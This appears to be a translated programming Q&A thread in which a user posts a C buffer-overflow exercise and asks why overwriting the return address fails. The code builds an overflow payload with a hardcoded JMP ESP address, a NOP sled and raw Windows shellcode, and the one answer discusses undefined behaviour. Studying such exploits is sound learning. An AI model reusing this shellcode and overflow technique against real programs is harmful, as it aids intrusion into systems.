覆盖C中的返回地址(缓冲区溢出)

时间:2015-09-07 15:57:07

标签: c buffer buffer-overflow

我正在尝试在C中创建缓冲区溢出示例。 我有一个值缓冲区,我尝试溢出,因此返回地址变为包含“JMP ESP”指令的地址。

#include <stdio.h>
#include <stdlib.h>

int foo(char *);
#define TRASH 0x41
#define RET 0x75222ACE

int main(int argc, char *argv[])
{
    if (argc != 1)
        return printf("Supply an argument, dude\n");
    foo(argv[0]);
    return 0;
}
char shellcode[] =
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3"
"\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0"
"\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90"
"\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0"
"\x75\x73\x65\x72\x33\x32\x61";

int foo(char *input)
{
    unsigned char buffer[600] = "";

    /*__BUFFER OVERFLOW TEST*/
    int i;
    char buf[700];
    char *ptr = buf;

    memset(buf, 0, sizeof(buf));
    for (i = 0; i<612; i++)
        (*ptr++) = TRASH;                     //620 bytes of chunk

    *(unsigned long *)&buf[610] = RET;   //then return address = jmp esp, call esp
    strcat(buf, "\x90\x90\x90\x90");     //small NOP sledge
    strcat(buf, shellcode);              //and our first shellcode
    /*__BUFFER OVERFLOW TEST*/


    /*__NORMAL BUFFER FILL TEST*/
    char *test = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

    //  strcpy(buffer, test);  --> works ok
    strcpy(buffer, buf);

    return 0;
}

如果我正常填充缓冲区(带字母a),我会在内存中看到以下内容: Buffer//Unknown Values//Return adress

当我溢出缓冲区以尝试覆盖返回地址(使用0x75222ACE)时,我收到错误消息“堆栈变量'缓冲区'已损坏”。我认为这与我覆盖“未知值”这一事实有关。

有人知道我需要在我的代码中做出哪些更改才能正确覆盖返回地址吗?

1 个答案:

答案 0 :(得分:0)

所以,@ Olaf提到的问题是,你所做的是未定义的行为。这意味着,您无法预测它的行为,并且它在不同的架构,平台等上的表现可能不同。

通常使用eax寄存器作为返回值。正如你在return语句中看到的那样,有xor eax,eax。这个操作总是给出0.它的编译器优化技巧。从寄存器读取值比从程序存储器读取硬编码0快得多,两者的结果相同。这样你就永远无法覆盖它。数据存储空间没有连接到代码存储空间,这一般是非常好的事情。如果你愿意,你可以返回某种变量并禁用优化,但一般情况下我无法在应用程序中看到这样做的任何理由